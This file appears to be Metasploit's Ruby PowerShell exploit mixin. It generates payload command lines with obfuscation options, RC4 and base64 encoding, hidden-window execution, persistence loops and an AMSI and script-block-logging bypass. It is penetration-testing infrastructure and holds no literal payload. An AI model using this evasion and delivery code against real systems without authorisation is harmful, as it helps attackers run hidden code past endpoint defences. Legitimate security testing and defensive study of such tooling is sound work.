# -*- coding: binary -*-
require 'rex/powershell'

module Msf
module Exploit::Powershell
  def initialize(info = {})
    super
    register_advanced_options(
      [
        OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
        OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
        OptEnum.new('Powershell::prepend_protections_bypass', [true, 'Prepend AMSI/SBL bypass', 'auto', %w[ auto true false ]]),
        OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
        OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
        OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', true]),
        OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
        OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
        OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]),
        OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
        OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
        OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
        OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
        OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),
        OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
        OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
      ]
    )
  end

  #
  # Return a script from path or string
  #
  def read_script(script_path)
    Rex::Powershell::Script.new(script_path)
  end

  #
  # Return an array of substitutions for use in make_subs
  #
  def process_subs(subs)
    return [] if subs.nil? || subs.empty?
    new_subs = []
    subs.split(';').each do |set|
      new_subs << set.split(',', 2)
    end

    new_subs
  end

  #
  # Insert substitutions into the powershell script
  # If script is a path to a file then read the file
  # otherwise treat it as the contents of a file
  #
  def make_subs(script, subs)
    subs.each do |set|
      script.gsub!(set[0], set[1])
    end

    script
  end

  #
  # Return an encoded powershell script
  # Will invoke PSH modifiers as enabled
  #
  # @param script_in [String] Script contents
  #
  # @return [String] Encoded script
  def encode_script(script_in, eof = nil)
    opts = {}
    datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k|
      next unless datastore[k]

      mod_method = k.split('::').last.intern
      opts[mod_method.to_sym] = true
    end

    Rex::Powershell::Command.encode_script(script_in, eof, opts)
  end

  #
  # Return an decoded powershell script
  #
  # @param script_in [String] Encoded contents
  #
  # @return [String] Decoded script
  def decode_script(script_in)
    return script_in unless
      script_in.to_s.match(%r{[A-Za-z0-9+/]+={0,3}})[0] == script_in.to_s &&
      (script_in.to_s.length % 4).zero?

    Rex::Powershell::Command.decode_script(script_in)
  end

  #
  # Return a gzip compressed powershell script
  # Will invoke PSH modifiers as enabled
  #
  # @param script_in [String] Script contents
  # @param eof [String] Marker to indicate the end of file appended to script
  #
  # @return [String] Compressed script with decompression stub
  def compress_script(script_in, eof = nil)
    opts = {}
    datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k|
      next unless datastore[k]

      mod_method = k.split('::').last.intern
      opts[mod_method.to_sym] = true
    end

    Rex::Powershell::Command.compress_script(script_in, eof, opts)
  end

  #
  # Return a decompressed powershell script
  #
  # @param script_in [String] Compressed contents with decompression stub
  #
  # @return [String] Decompressed script
  def decompress_script(script_in)
    return script_in unless script_in.match?(/FromBase64String/)

    Rex::Powershell::Command.decompress_script(script_in)
  end

  #
  # Generate a powershell command line, options are passed on to
  # generate_psh_args
  #
  # @param opts [Hash] The options to generate the command line
  # @option opts [String] :path Path to the powershell binary
  # @option opts [Boolean] :no_full_stop Whether powershell binary
  #   should include .exe
  #
  # @return [String] Powershell command line with arguments
  def generate_psh_command_line(opts)
    Rex::Powershell::Command.generate_psh_command_line(opts)
  end

  #
  # Generate arguments for the powershell command
  # The format will be have no space at the start and have a space
  # afterwards e.g. "-Arg1 x -Arg -Arg x "
  #
  # @param opts [Hash] The options to generate the command line
  # @option opts [Boolean] :shorten Whether to shorten the powershell
  #   arguments (v2.0 or greater)
  # @option opts [String] :encodedcommand Powershell script as an
  #   encoded command (-EncodedCommand)
  # @option opts [String] :executionpolicy The execution policy
  #   (-ExecutionPolicy)
  # @option opts [String] :inputformat The input format (-InputFormat)
  # @option opts [String] :file The path to a powershell file (-File)
  # @option opts [Boolean] :noexit Whether to exit powershell after
  #   execution (-NoExit)
  # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
  # @option opts [Boolean] :noninteractive Whether to load a non
  #   interactive powershell (-NonInteractive)
  # @option opts [Boolean] :mta Whether to run as Multi-Threaded
  #   Apartment (-Mta)
  # @option opts [String] :outputformat The output format
  #   (-OutputFormat)
  # @option opts [Boolean] :sta Whether to run as Single-Threaded
  #   Apartment (-Sta)
  # @option opts [Boolean] :noprofile Whether to use the current users
  #   powershell profile (-NoProfile)
  # @option opts [String] :windowstyle The window style to use
  #   (-WindowStyle)
  #
  # @return [String] Powershell command arguments
  def generate_psh_args(opts)
    return '' unless opts

    unless opts.key? :shorten
      opts[:shorten] = (datastore['Powershell::method'] != 'old')
    end

    Rex::Powershell::Command.generate_psh_args(opts)
  end

  #
  # Wraps the powershell code to launch a hidden window and
  # detect the execution environment and spawn the appropriate
  # powershell executable for the payload architecture.
  #
  # @param ps_code [String] Powershell code
  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
  # @param encoded [Boolean] Indicates whether ps_code is encoded or not
  # @return [String] Wrapped powershell code
  def run_hidden_psh(ps_code, payload_arch, encoded)
    arg_opts = {
      noprofile: true,
      windowstyle: 'hidden'
    }

    # Old technique fails if powershell exits..
    arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
    arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')

    Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
  end

  #
  # Creates a powershell command line string which will execute the
  # payload in a hidden window in the appropriate execution environment
  # for the payload architecture. Opts are passed through to
  # run_hidden_psh, generate_psh_command_line and generate_psh_args
  #
  # @param pay [String] The payload shellcode
  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
  # @param opts [Hash] The options to generate the command
  # @option opts [Boolean] :persist Loop the payload to cause
  #   re-execution if the shellcode finishes
  # @option opts [Integer] :prepend_sleep Sleep for the specified time
  #   before executing the payload
  # @option opts [Boolean] :exec_rc4 Encrypt payload with RC4
  # @option opts [String] :method The powershell injection technique to
  #   use: 'net'/'reflection'/'old'
  # @option opts [Boolean] :encode_inner_payload Encodes the powershell
  #   script within the hidden/architecture detection wrapper
  # @option opts [Boolean] :encode_final_payload Encodes the final
  #   powershell script
  # @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
  #   environment variable at the start of the command line
  # @option opts [Boolean] :wrap_double_quotes Wraps the -Command
  #   argument in double quotes unless :encode_final_payload
  #
  # @return [String] Powershell command line with payload
  def cmd_psh_payload(pay, payload_arch, opts = {})
    %i[persist prepend_sleep exec_in_place exec_rc4 encode_final_payload encode_inner_payload
    remove_comspec noninteractive wrap_double_quotes no_equals method prepend_protections_bypass].map do |opt|
      opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil?
    end

    prepend_protections_bypass = opts.delete(:prepend_protections_bypass)
    if %w[ auto true ].include?(prepend_protections_bypass)
      opts[:prepend] = bypass_powershell_protections
    end

    unless opts.key? :shorten
      opts[:shorten] = (datastore['Powershell::method'] != 'old')
    end

    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
    begin
      command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)
    rescue Rex::Powershell::Exceptions::PowershellCommandLengthError => e
      raise unless prepend_protections_bypass == 'auto'

      # if prepend protections bypass is automatic, try it first but if the size is too large, turn it off and try again
      opts.delete(:prepend)
      command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)
    end

    vprint_status("Powershell command length: #{command.length}")

    command
  end

  #
  # Return all bypasses checking if PowerShell version > 3
  #
  # @return [String] PowerShell code to disable PowerShell Built-In Protections
  def bypass_powershell_protections
    # generate the protections bypass in three short steps
    # step 1: shuffle the instructions by rendering the GraphML
    script = Rex::Payloads::Shuffle.from_graphml_file(
      File.join(Msf::Config.install_root, 'data', 'evasion', 'windows', 'bypass_powershell_protections.erb.graphml'),
    )
    # step 2: obfuscate sketchy string literals by rendering the ERB template
    script = ::ERB.new(script).result(binding)
    # step 3: obfuscate variable names and remove whitespace
    script = Rex::Powershell::Script.new(script)
    script.sub_vars if datastore['Powershell::sub_vars']
    Rex::Powershell::PshMethods.uglify_ps(script.to_s)
  end

  #
  # Useful method cache
  #
  module PshMethods
    include Rex::Powershell::PshMethods
  end
end
end